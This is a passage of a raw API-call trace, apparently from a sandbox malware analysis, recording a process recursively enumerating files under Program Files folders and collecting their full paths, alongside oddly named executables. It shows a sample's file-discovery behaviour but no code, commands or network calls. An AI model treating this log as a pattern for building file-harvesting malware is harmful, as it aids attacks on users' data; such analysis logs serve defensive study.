(lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.142] lstrlenW (lpString="jsprofilerui.dll") returned 16 [0040.142] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned 57 [0040.142] lstrcpyW (in: lpString1=0x5e1290, lpString2="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\jsprofilerui.dll" [0040.142] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.142] lstrcmpW (lpString1="msdbg2.dll", lpString2=".") returned 1 [0040.142] lstrcmpW (lpString1="msdbg2.dll", lpString2="..") returned 1 [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.142] lstrlenW (lpString="msdbg2.dll") returned 10 [0040.142] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned 51 [0040.142] lstrcpyW (in: lpString1=0x5e1310, lpString2="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\msdbg2.dll" [0040.142] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.142] lstrcmpW (lpString1="pdm.dll", lpString2=".") returned 1 [0040.142] lstrcmpW (lpString1="pdm.dll", lpString2="..") returned 1 [0040.142] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.143] lstrlenW (lpString="pdm.dll") returned 7 [0040.143] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0040.143] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned 48 [0040.143] lstrcpyW (in: lpString1=0x5e1380, lpString2="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\pdm.dll" [0040.143] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.143] lstrcmpW (lpString1="SIGNUP", lpString2=".") returned 1 [0040.143] lstrcmpW (lpString1="SIGNUP", lpString2="..") returned 1 [0040.143] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.143] lstrlenW (lpString="SIGNUP") returned 6 [0040.143] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="SIGNUP" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0040.143] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\" [0040.143] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0040.143] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*" [0040.143] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.143] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.143] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.143] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.143] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.143] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.143] lstrcmpW (lpString1="install.ins", lpString2=".") returned 1 [0040.143] lstrcmpW (lpString1="install.ins", lpString2="..") returned 1 [0040.143] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\") returned 48 [0040.143] lstrlenW (lpString="install.ins") returned 11 [0040.143] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\", lpString2="install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0040.143] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned 59 [0040.143] lstrcpyW (in: lpString1=0x5e13f0, lpString2="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins") returned="c:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\install.ins" [0040.143] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.143] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.143] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.143] lstrcmpW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0040.143] lstrcmpW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0040.143] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0040.143] lstrlenW (lpString="sqmapi.dll") returned 10 [0040.143] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0040.143] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned 51 [0040.143] lstrcpyW (in: lpString1=0x5e1470, lpString2="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll") returned="c:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" [0040.143] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.143] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.144] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.144] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0040.144] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0040.144] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.144] lstrlenW (lpString="Java") returned 4 [0040.144] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Java") returned="c:\\Program Files (x86)\\Java" [0040.144] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\") returned="c:\\Program Files (x86)\\Java\\" [0040.144] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0040.144] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\*") returned="c:\\Program Files (x86)\\Java\\*" [0040.144] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.144] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.144] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.144] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.144] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.144] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.144] lstrcmpW (lpString1="analysts-dose.exe", lpString2=".") returned 1 [0040.144] lstrcmpW (lpString1="analysts-dose.exe", lpString2="..") returned 1 [0040.144] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0040.144] lstrlenW (lpString="analysts-dose.exe") returned 17 [0040.144] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0040.144] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned 45 [0040.144] lstrcpyW (in: lpString1=0x5e14e0, lpString2="c:\\Program Files (x86)\\Java\\analysts-dose.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\analysts-dose.exe") returned="c:\\Program Files (x86)\\Java\\analysts-dose.exe" [0040.144] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.144] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2=".") returned 1 [0040.144] lstrcmpW (lpString1="diamond_hospitals_designs_www.exe", lpString2="..") returned 1 [0040.144] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0040.144] lstrlenW (lpString="diamond_hospitals_designs_www.exe") returned 33 [0040.144] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0040.144] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned 61 [0040.144] lstrcpyW (in: lpString1=0x5e1548, lpString2="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe") returned="c:\\Program Files (x86)\\Java\\diamond_hospitals_designs_www.exe" [0040.144] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.144] lstrcmpW (lpString1="jre7", lpString2=".") returned 1 [0040.144] lstrcmpW (lpString1="jre7", lpString2="..") returned 1 [0040.144] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0040.144] lstrlenW (lpString="jre7") returned 4 [0040.144] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="jre7" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7") returned="c:\\Program Files (x86)\\Java\\jre7" [0040.144] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\") returned="c:\\Program Files (x86)\\Java\\jre7\\" [0040.144] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.144] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\*") returned="c:\\Program Files (x86)\\Java\\jre7\\*" [0040.144] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.144] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.145] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.145] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.145] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.145] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.145] lstrcmpW (lpString1="bin", lpString2=".") returned 1 [0040.145] lstrcmpW (lpString1="bin", lpString2="..") returned 1 [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.145] lstrlenW (lpString="bin") returned 3 [0040.145] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="bin" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\bin") returned="c:\\Program Files (x86)\\Java\\jre7\\bin" [0040.145] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.145] lstrcmpW (lpString1="COPYRIGHT", lpString2=".") returned 1 [0040.145] lstrcmpW (lpString1="COPYRIGHT", lpString2="..") returned 1 [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.145] lstrlenW (lpString="COPYRIGHT") returned 9 [0040.145] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned 42 [0040.145] lstrcpyW (in: lpString1=0x5e15d0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT") returned="c:\\Program Files (x86)\\Java\\jre7\\COPYRIGHT" [0040.145] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.145] lstrcmpW (lpString1="lib", lpString2=".") returned 1 [0040.145] lstrcmpW (lpString1="lib", lpString2="..") returned 1 [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.145] lstrlenW (lpString="lib") returned 3 [0040.145] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="lib" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\lib") returned="c:\\Program Files (x86)\\Java\\jre7\\lib" [0040.145] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.145] lstrcmpW (lpString1="LICENSE", lpString2=".") returned 1 [0040.145] lstrcmpW (lpString1="LICENSE", lpString2="..") returned 1 [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.145] lstrlenW (lpString="LICENSE") returned 7 [0040.145] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned 40 [0040.145] lstrcpyW (in: lpString1=0x5e1630, lpString2="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\LICENSE") returned="c:\\Program Files (x86)\\Java\\jre7\\LICENSE" [0040.145] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.145] lstrcmpW (lpString1="README.txt", lpString2=".") returned 1 [0040.145] lstrcmpW (lpString1="README.txt", lpString2="..") returned 1 [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.145] lstrlenW (lpString="README.txt") returned 10 [0040.145] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned 43 [0040.145] lstrcpyW (in: lpString1=0x5e1690, lpString2="c:\\Program Files (x86)\\Java\\jre7\\README.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\README.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\README.txt" [0040.145] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.145] lstrcmpW (lpString1="release", lpString2=".") returned 1 [0040.145] lstrcmpW (lpString1="release", lpString2="..") returned 1 [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.145] lstrlenW (lpString="release") returned 7 [0040.145] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0040.145] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\release") returned 40 [0040.145] lstrcpyW (in: lpString1=0x5e16f0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\release" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\release") returned="c:\\Program Files (x86)\\Java\\jre7\\release" [0040.145] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.146] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2=".") returned 1 [0040.146] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME-JAVAFX.txt", lpString2="..") returned 1 [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.146] lstrlenW (lpString="THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 34 [0040.146] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 67 [0040.146] lstrcpyW (in: lpString1=0x5e1750, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" [0040.146] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.146] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2=".") returned 1 [0040.146] lstrcmpW (lpString1="THIRDPARTYLICENSEREADME.txt", lpString2="..") returned 1 [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.146] lstrlenW (lpString="THIRDPARTYLICENSEREADME.txt") returned 27 [0040.146] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned 60 [0040.146] lstrcpyW (in: lpString1=0x5e17e0, lpString2="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt") returned="c:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME.txt" [0040.146] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.146] lstrcmpW (lpString1="Welcome.html", lpString2=".") returned 1 [0040.146] lstrcmpW (lpString1="Welcome.html", lpString2="..") returned 1 [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\") returned 33 [0040.146] lstrlenW (lpString="Welcome.html") returned 12 [0040.146] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\jre7\\", lpString2="Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned 45 [0040.146] lstrcpyW (in: lpString1=0x5e1868, lpString2="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" | out: lpString1="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html") returned="c:\\Program Files (x86)\\Java\\jre7\\Welcome.html" [0040.146] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.146] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.146] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.146] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2=".") returned 1 [0040.146] lstrcmpW (lpString1="turner_construction_solve_cialis.exe", lpString2="..") returned 1 [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\") returned 28 [0040.146] lstrlenW (lpString="turner_construction_solve_cialis.exe") returned 36 [0040.146] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Java\\", lpString2="turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned 64 [0040.146] lstrcpyW (in: lpString1=0x5e18d0, lpString2="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" | out: lpString1="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe") returned="c:\\Program Files (x86)\\Java\\turner_construction_solve_cialis.exe" [0040.146] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.146] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.146] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.146] lstrcmpW (lpString1="Microsoft Office", lpString2=".") returned 1 [0040.146] lstrcmpW (lpString1="Microsoft Office", lpString2="..") returned 1 [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.146] lstrlenW (lpString="Microsoft Office") returned 16 [0040.146] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft Office" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office") returned="c:\\Program Files (x86)\\Microsoft Office" [0040.146] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\") returned="c:\\Program Files (x86)\\Microsoft Office\\" [0040.146] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft Office\\") returned 40 [0040.146] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft Office\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft Office\\*") returned="c:\\Program Files (x86)\\Microsoft Office\\*" [0040.146] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.147] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.147] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.147] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.147] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.147] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.147] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.147] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.147] lstrcmpW (lpString1="Microsoft OneDrive", lpString2=".") returned 1 [0040.147] lstrcmpW (lpString1="Microsoft OneDrive", lpString2="..") returned 1 [0040.147] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.147] lstrlenW (lpString="Microsoft OneDrive") returned 18 [0040.147] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Microsoft OneDrive" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive") returned="c:\\Program Files (x86)\\Microsoft OneDrive" [0040.147] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\" [0040.147] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0040.147] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\*") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\*" [0040.147] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Microsoft OneDrive\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.147] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.147] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.147] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.147] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.147] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.147] lstrcmpW (lpString1="farehave.exe", lpString2=".") returned 1 [0040.147] lstrcmpW (lpString1="farehave.exe", lpString2="..") returned 1 [0040.147] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0040.147] lstrlenW (lpString="farehave.exe") returned 12 [0040.147] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0040.147] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned 54 [0040.147] lstrcpyW (in: lpString1=0x5e0858, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\farehave.exe" [0040.147] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.147] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2=".") returned 1 [0040.147] lstrcmpW (lpString1="OneDriveSetup.exe", lpString2="..") returned 1 [0040.147] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\") returned 42 [0040.147] lstrlenW (lpString="OneDriveSetup.exe") returned 17 [0040.147] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\", lpString2="OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0040.147] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned 59 [0040.147] lstrcpyW (in: lpString1=0x5e1960, lpString2="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" | out: lpString1="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe") returned="c:\\Program Files (x86)\\Microsoft OneDrive\\OneDriveSetup.exe" [0040.147] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.147] FindClose (in: hFindFile=0x775d18 | out: 